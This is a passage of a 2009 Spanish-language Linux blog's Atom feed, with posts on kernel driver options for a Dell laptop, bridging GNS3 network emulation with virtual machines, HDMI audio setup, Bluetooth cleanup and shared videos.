class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-100835697490923843?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/100835697490923843/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=100835697490923843' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/100835697490923843'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/100835697490923843'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/05/bueno-bonito-y-barato.html' title='Bueno, bonito y barato'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/SgMLpTYjJxI/AAAAAAAAALo/g6jXzIDSUKI/s72-c/linux-netbook.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7915971194619767185</id><published>2009-05-06T21:11:00.004+02:00</published><updated>2009-12-29T08:24:42.521+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Big Buck Bunny</title><content type='html'>Se trata de una película realmente con aspecto profesional y además está totalmente desarrollada con software libre, mas concretamente &lt;a href="http://www.blender.org/"&gt;Blender&lt;/a&gt;.&lt;br /&gt;Se puede descargar el trailer desde este &lt;a href="http://www.bigbuckbunny.org/index.php/trailer-page/"&gt;enlace&lt;/a&gt;, pero voy a subir el video por si no quereis esperar a la descarga.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="320" height="266" class="BLOG_video_class" id="BLOG_video-8a2ec875ffba3084" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="movie" value="http://www.youtube.com/get_player"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="flashvars" value="flvurl=http://v3.nonxt8.googlevideo.com/videoplayback?id%3D8a2ec875ffba3084%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1331082414%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D16F666CAEE59F87C82B11575BB4A3C832228A594.2918A42B76BE0096F59123FB7D882F5CCA5D0390%26key%3Dck1&amp;amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D8a2ec875ffba3084%26offsetms%3D5000%26itag%3Dw160%26sigh%3Da_cLalQedFP2-_62IhlcVHdHIAc&amp;amp;autoplay=0&amp;amp;ps=blogger"&gt;&lt;embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="320" height="266" bgcolor="#FFFFFF"flashvars="flvurl=http://v3.nonxt8.googlevideo.com/videoplayback?id%3D8a2ec875ffba3084%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1331082414%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D16F666CAEE59F87C82B11575BB4A3C832228A594.2918A42B76BE0096F59123FB7D882F5CCA5D0390%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D8a2ec875ffba3084%26offsetms%3D5000%26itag%3Dw160%26sigh%3Da_cLalQedFP2-_62IhlcVHdHIAc&amp;autoplay=0&amp;ps=blogger"allowFullScreen="true" /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7915971194619767185?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='video/mp4' href='http://www.blogger.com/video-play.mp4?contentId=8a2ec875ffba3084&amp;type=video%2Fmp4' length='0'/><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7915971194619767185/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7915971194619767185' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7915971194619767185'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7915971194619767185'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/05/big-buck-bunny.html' title='Big Buck Bunny'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6965942914018386356</id><published>2009-05-04T19:50:00.005+02:00</published><updated>2009-12-29T08:24:54.638+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Warriors of the net</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/Sf8swZ4ZRkI/AAAAAAAAALg/yO8TP4_TGIk/s1600-h/rout8.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 188px; height: 141px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/Sf8swZ4ZRkI/AAAAAAAAALg/yO8TP4_TGIk/s200/rout8.jpg" alt="" id="BLOGGER_PHOTO_ID_5332029693922723394" border="0" /&gt;&lt;/a&gt;Hace algunos años ví un video muy instructivo sobre el funcionamiento de las redes en modo gráfico con diseños en 3D, leyendo la documentción del CCNA se hace referencia a tal video y aquí estoy colgandolo para que muchos otros puedan disfrutar de él.&lt;br /&gt;El video lo he descargado de la página: &lt;a href="http://www.warriorsofthe.net/"&gt;http://www.warriorsofthe.net/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hay algunas inexactitudes como que es "el señor IP" quien pide la retransmisión del paquete cuando quien lo hace es TCP, pero ahún así no está mal a pesar de estar narrado con acento latinoamericano.&lt;br /&gt;&lt;br /&gt;Aquí dejo el video para vuestro disfrute personal:&lt;br /&gt;&lt;br /&gt;&lt;object width="320" height="266" class="BLOG_video_class" id="BLOG_video-93b8dfaf72a28004" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="movie" value="http://www.youtube.com/get_player"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="flashvars" value="flvurl=http://v18.nonxt7.googlevideo.com/videoplayback?id%3D93b8dfaf72a28004%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1331082414%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D43BD7FC44652EA166298AA1BE5E29058CADAE746.45FB9EBC2745A917806C076F5EC827F589F6D04D%26key%3Dck1&amp;amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D93b8dfaf72a28004%26offsetms%3D5000%26itag%3Dw160%26sigh%3D6laQdINO4Vt8Y04lANUtiHOBL7E&amp;amp;autoplay=0&amp;amp;ps=blogger"&gt;&lt;embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="320" height="266" bgcolor="#FFFFFF"flashvars="flvurl=http://v18.nonxt7.googlevideo.com/videoplayback?id%3D93b8dfaf72a28004%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1331082414%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D43BD7FC44652EA166298AA1BE5E29058CADAE746.45FB9EBC2745A917806C076F5EC827F589F6D04D%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D93b8dfaf72a28004%26offsetms%3D5000%26itag%3Dw160%26sigh%3D6laQdINO4Vt8Y04lANUtiHOBL7E&amp;autoplay=0&amp;ps=blogger"allowFullScreen="true" /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6965942914018386356?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='video/mp4' href='http://www.blogger.com/video-play.mp4?contentId=93b8dfaf72a28004&amp;type=video%2Fmp4' length='0'/><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6965942914018386356/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6965942914018386356' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6965942914018386356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6965942914018386356'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/05/warriors-of-net.html' title='Warriors of the net'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/Sf8swZ4ZRkI/AAAAAAAAALg/yO8TP4_TGIk/s72-c/rout8.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3992466370390524607</id><published>2009-05-04T17:06:00.007+02:00</published><updated>2009-12-29T08:07:05.399+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><title type='text'>Hacer andar la WebCam y las dos tarjetas de red del Dell XPS Studio 1340</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/Sf8JfsO_ebI/AAAAAAAAALY/-4phyfNYRwY/s1600-h/dell_linux.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 86px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/Sf8JfsO_ebI/AAAAAAAAALY/-4phyfNYRwY/s200/dell_linux.jpg" alt="" id="BLOGGER_PHOTO_ID_5331990923884591538" border="0" /&gt;&lt;/a&gt;Ya casi tengo todo el hardware de mi portatil funcionando en mi Debian, solo falta que funcione el &lt;a href="http://www.nvidia.es/page/hybrid_sli.html"&gt;SLI-Hibrido&lt;/a&gt; pero todo a su debido tiempo.&lt;br /&gt;&lt;br /&gt;Con el programa usbview podemos observar el fabricante de la camara:&lt;br /&gt;&lt;br /&gt;Integrated Webcam&lt;br /&gt;Manufacturer: M092R-A00-9109-SD0MX&lt;br /&gt;&lt;br /&gt;Para incorporar el driver a nuestro kernel hay que dirigirse a /usr/src/linux y una vez en esta ruta ejecutar:&lt;br /&gt;&lt;br /&gt;make menuconfig&lt;br /&gt;&lt;br /&gt;Aparecerá una ventana de configuración donde seguiremos los siguientes menus:&lt;br /&gt;Device Drivers --&gt; Multimedia Devices --&gt; Video for Linux --&gt; Video Capture Adapters --&gt; V4L USB Devices&lt;br /&gt;&lt;br /&gt;Y habilitaremos estas dos opciones:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;USB Video Class&lt;/li&gt;&lt;li&gt;UVC Input events device support&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Ya que estoy tambien voy a poner la ruta de los drivers de la tarjeta de red inalámbrica y la cableada.&lt;br /&gt;&lt;br /&gt;Para compilar con soporte para la tarjeta de red cableada:&lt;br /&gt;Device Drivers --&gt; Networking Device Support --&gt; Ethernet (10 or 100Mbit)&lt;br /&gt;&lt;ul&gt;&lt;li&gt;EISA, VLB, PCI and on board controllers&lt;/li&gt;&lt;li&gt;nForce Ethernet support&lt;/li&gt;&lt;/ul&gt;Para la inalámbrica:&lt;br /&gt;Device Drivers --&gt; Networking Device Support --&gt; Wireless LAN  ---&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Wireless LAN (IEEE 802.11)&lt;/li&gt;&lt;li&gt;Atheros 802.11n wireless cards support&lt;/li&gt;&lt;/ul&gt;Si hay dudas de como compilar ya publiqué un artículo sobre el &lt;a href="http://laguaridadelmal.blogspot.com/2006/07/configurar-el-kernel.html"&gt;tema&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3992466370390524607?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3992466370390524607/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3992466370390524607' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3992466370390524607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3992466370390524607'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/05/hacer-andar-la-webcam-de-dell-xps.html' title='Hacer andar la WebCam y las dos tarjetas de red del Dell XPS Studio 1340'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/Sf8JfsO_ebI/AAAAAAAAALY/-4phyfNYRwY/s72-c/dell_linux.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-8952938769143925413</id><published>2009-05-03T23:46:00.009+02:00</published><updated>2011-03-19T21:59:31.486+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualización'/><title type='text'>GNS3, el regreso!!!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/Sf4RpbsQSMI/AAAAAAAAALQ/HFtdec-9Bd8/s1600-h/logo_gns3_small.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 161px; height: 115px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/Sf4RpbsQSMI/AAAAAAAAALQ/HFtdec-9Bd8/s200/logo_gns3_small.png" alt="" id="BLOGGER_PHOTO_ID_5331718412358928578" border="0" /&gt;&lt;/a&gt;Ultimamente he estado algo ocupado con un cursillo sobre MacroLAN y los módulos de preparación 1 y 2 del CCNA, pero a pesar de esto he conseguido algo de tiempo y voy a explicar como lograr meter nuestro host junto con varias máquinas virtuales en una nube del &lt;a href="http://www.gns3.net/"&gt;GNS3&lt;/a&gt; [&lt;a href="http://laguaridadelmal.blogspot.com/2008/07/dynamips-con-gns3.html"&gt;1&lt;/a&gt;].&lt;br /&gt;&lt;br /&gt;Con esto lograremos emular todos los escenarios de red que desemos.&lt;br /&gt;&lt;br /&gt;Primero habrá que compilar el kernel con la siguiente opción activada:&lt;br /&gt;Networking Support --&gt; Networking Options --&gt; 802.1d Ethernet Bridging&lt;br /&gt;&lt;br /&gt;Tambien tenemos que instalar las utilidades necesarias:&lt;br /&gt;apt-get install uml-utils bridge-utils&lt;br /&gt;&lt;br /&gt;Ahora ya podemos empezar la configuración.&lt;br /&gt;&lt;br /&gt;Creamos un bridge virtual:&lt;br /&gt;brctl addbr br0&lt;br /&gt;&lt;br /&gt;Comprobamos que realmente se ha creado:&lt;br /&gt;ip a&lt;br /&gt;&lt;br /&gt;Lo habilitamos:&lt;br /&gt;ip l s dev br0 up&lt;br /&gt;&lt;br /&gt;Comprobamos que está habilitado, en br0: &lt;broadcast,multicast,up,lower_up&gt;:&lt;br /&gt;ip a&lt;br /&gt;&lt;br /&gt;Creamos la interfaz Tap que se conectará al bridge:&lt;br /&gt;tunctl -t tap0 -u root&lt;br /&gt;&lt;br /&gt;La habilitamos:&lt;br /&gt;ip l s dev tap0 up&lt;br /&gt;&lt;br /&gt;Ponemos Tap0 y Eth0 en el mismo bridge:&lt;br /&gt;brctl addif br0 tap0&lt;br /&gt;brctl addif br0 eth0&lt;br /&gt;&lt;br /&gt;Comprobamos que estan en el bridge:&lt;br /&gt;brctl show br0&lt;br /&gt;bridge name    bridge id        STP enabled    interfaces&lt;br /&gt;br0        8000.002219ddca5c    no        eth0&lt;br /&gt;                       tap0&lt;br /&gt;&lt;br /&gt;Desconfiguramos la interfaz Eth0 y la ponemos en modo promiscuo:&lt;br /&gt;ifconfig eth0 0.0.0.0 promisc&lt;br /&gt;&lt;br /&gt;Configuramos el bridge con la ip de nuestro equipo:&lt;br /&gt;ip a a 192.168.1.11/24 dev br0&lt;br /&gt;ip r a default via 192.168.1.1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En la configuración de la nube:&lt;br /&gt;NIO TAP&lt;br /&gt;TAP Interface: tap0&lt;br /&gt;&lt;br /&gt;Si queremos conectar máquinas virtuales como por ejemplo haciendo uso de VmWare o VirtualBox se puede hacer configurando la interfaz en modo bridged a la interfaz tap0, con esto lograremos que tanto nuestro host, el router conectado a la nube y las máquinas virtuales se puedan ver entre ellas.&lt;br /&gt;&lt;br /&gt;He realizado un pequeño &lt;a href="http://www.divshare.com/download/9084461-84d"&gt;Script&lt;/a&gt; que nos ayudará a realizar la configuración de forma automática.&lt;br /&gt;&lt;br /&gt;Yo personalmente empleo la interfaz Eth0 para meterla dentro del bridge con la Tap0, así consigo comunicarme con las máquinas virtuales por la Eth0 y por la inalámbrica accedo a Inet ;)&lt;br /&gt;&lt;br /&gt;PD: ConchiWorld con este sistema las máquinas virtuales pueden ver al host anfitrión sin necesidad de link en la interfaz, ya que se realiza la comunicación a través de la interfaz virtual Tap0.&lt;br /&gt;&lt;/broadcast,multicast,up,lower_up&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-8952938769143925413?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/8952938769143925413/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=8952938769143925413' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/8952938769143925413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/8952938769143925413'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/05/gns3-el-regreso.html' title='GNS3, el regreso!!!'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/Sf4RpbsQSMI/AAAAAAAAALQ/HFtdec-9Bd8/s72-c/logo_gns3_small.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-8067887970537626556</id><published>2009-04-15T16:27:00.010+02:00</published><updated>2009-12-29T08:07:29.261+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><title type='text'>Salida HDMI Dell XPS Studio 1340</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SeXywL8g28I/AAAAAAAAALI/6kIwGY9ZTgk/s1600-h/new-nvidia-video-drivers-for-linux-bring-opengl-3-0-support-2-300x288.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 116px; height: 112px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SeXywL8g28I/AAAAAAAAALI/6kIwGY9ZTgk/s200/new-nvidia-video-drivers-for-linux-bring-opengl-3-0-support-2-300x288.jpg" alt="" id="BLOGGER_PHOTO_ID_5324929044089723842" border="0" /&gt;&lt;/a&gt;Tras la reciente adquisición de mi Dell he estado tratando de configurar todos el hardware para que funcione correctamente bajo Linux.&lt;br /&gt;Esta vez voy a explicar como conseguir que la salida HDMI ande desde mi Debian con los últimos drivers de mi Nvidia GForce 9400M G.&lt;br /&gt;Cabe destacar que este equipo viene equipado con la tecnología Hybrid-SLI la cual yo no he podido hacer funcionar desde Linux.&lt;br /&gt;&lt;br /&gt;Desde la utilidad nvidia-settings configuramos el televisor, en el televisor lo configuramos como TwinView y en position: Clones.&lt;br /&gt;&lt;br /&gt;Con esto ya tendríamos el video funcionando, pero para que el audio funcione hay que realizar ciertos pasos:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Abrimos el control de volumen de Gnome y en la pestaña conmutadores habilitamos IEC958 en el caso de que no apareciese iríamos a Editar --&gt; Preferencias y lo haríamos visible.&lt;/li&gt;&lt;li&gt;Ahora le indicaremos a Gnome que emplee la salida HDMI.&lt;/li&gt;&lt;/ol&gt;        Sistema --&gt; Preferencias --&gt; Sonido&lt;br /&gt;     En pistas predeterminadas del mezclador:&lt;br /&gt;     NVIDIA MCP7A HDMI (OSS Mixer)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Por ahora solo funcionaría el sonido con el reproductor de video Totem, para que funcione con todos hay que generar en nuestro home el fichero .asoundrc con el contenido:&lt;br /&gt;&lt;br /&gt;defaults.pcm.device 3&lt;br /&gt;&lt;br /&gt;Con esto ya podremos disfrutar de nuestras películas favoritas en cualquier televisor con entrada HDMI.&lt;br /&gt;&lt;br /&gt;La línea  defaults.pcm.device 3 no me la he inventado ni la he visto tras golpearme la cabeza contra el bidé mientras cambiaba la bombilla del baño, esta línea sale de ejecutar la orden:&lt;br /&gt;aplay -l&lt;br /&gt;**** List of PLAYBACK Hardware Devices ****&lt;br /&gt;card 0: NVidia [HDA NVidia], device 0: STAC92xx Analog [STAC92xx Analog]&lt;br /&gt; Subdevices: 1/1&lt;br /&gt; Subdevice #0: subdevice #0&lt;br /&gt;card 0: NVidia [HDA NVidia], &lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;device 3: NVIDIA HDMI&lt;/span&gt;&lt;/span&gt; [NVIDIA HDMI]&lt;br /&gt; Subdevices: 1/1&lt;br /&gt; Subdevice #0: subdevice #0&lt;br /&gt;&lt;br /&gt;Como se puede apreciar el dispositivo 3 es la salida de audio HDMI.&lt;br /&gt;&lt;br /&gt;Cuando acabemos de usar la salida HDMI eliminamos el fichero .asoundrc de nuestro home, quitaremos el conmutador IEC958 y configuraremos el sonido con pistas predeterminadas del mezclador: HDA Nvidia (Alsa Mixer).&lt;br /&gt;&lt;br /&gt;Después de esto ya funcionará el sonido por la tarjeta habitual.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-8067887970537626556?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/8067887970537626556/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=8067887970537626556' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/8067887970537626556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/8067887970537626556'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/04/salida-hdmi-dell-xps-studio-1430.html' title='Salida HDMI Dell XPS Studio 1340'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SeXywL8g28I/AAAAAAAAALI/6kIwGY9ZTgk/s72-c/new-nvidia-video-drivers-for-linux-bring-opengl-3-0-support-2-300x288.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7101510279520384268</id><published>2009-04-04T22:10:00.003+02:00</published><updated>2009-12-29T08:25:29.404+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><title type='text'>Problemas con Bluetooth</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SdfCB4B7MFI/AAAAAAAAAK4/ZGfpwQPaL2k/s1600-h/bluetooth_logo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 67px; height: 90px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SdfCB4B7MFI/AAAAAAAAAK4/ZGfpwQPaL2k/s200/bluetooth_logo.png" alt="" id="BLOGGER_PHOTO_ID_5320934822237646930" border="0" /&gt;&lt;/a&gt;He estado peleándome un rato para conseguir eliminar dispositivos bluetooth con los que alguna vez he conectado pero ahora yo no existen o han cambiado de nombre.&lt;br /&gt;El problema es que se me quedaba el nombre antiguo y no consigue conectar con el actual.&lt;br /&gt;Tan solo hay que eliminar las direcciones MAC de este fichero y ya estará como nuevo:&lt;br /&gt;vi /var/lib/bluetooth/00\:22\:5F\:4B\:63\:BA/lastused&lt;br /&gt;vi /var/lib/bluetooth/00\:22\:5F\:4B\:63\:BA/lastseen&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7101510279520384268?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7101510279520384268/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7101510279520384268' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7101510279520384268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7101510279520384268'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/04/problemas-con-bluetooth.html' title='Problemas con Bluetooth'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SdfCB4B7MFI/AAAAAAAAAK4/ZGfpwQPaL2k/s72-c/bluetooth_logo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7111822205363813234</id><published>2009-04-01T17:22:00.004+02:00</published><updated>2009-12-29T08:25:37.677+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Streaming de radio en Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SdOHcjuUWVI/AAAAAAAAAKk/JV_O20Fq7is/s1600-h/mini-Linuxpower.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 148px; height: 200px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SdOHcjuUWVI/AAAAAAAAAKk/JV_O20Fq7is/s200/mini-Linuxpower.jpg" alt="" id="BLOGGER_PHOTO_ID_5319744509550287186" border="0" /&gt;&lt;/a&gt;Ya hace tiempo que ando buscando alguna página de streaming de radio que tire en Linux, por fín el esperado día ha llegado, tan solo se precisa de totem(o cualquier otro software que pueda reproducir streams).&lt;br /&gt;&lt;br /&gt;La página en si es esta:&lt;a href="http://www.shoutcast.com/"&gt;http://www.shoutcast.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Que la disfruteis!!! ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7111822205363813234?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7111822205363813234/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7111822205363813234' title='0 comentarios'/><link rel='edit' type='application/atom+xml' 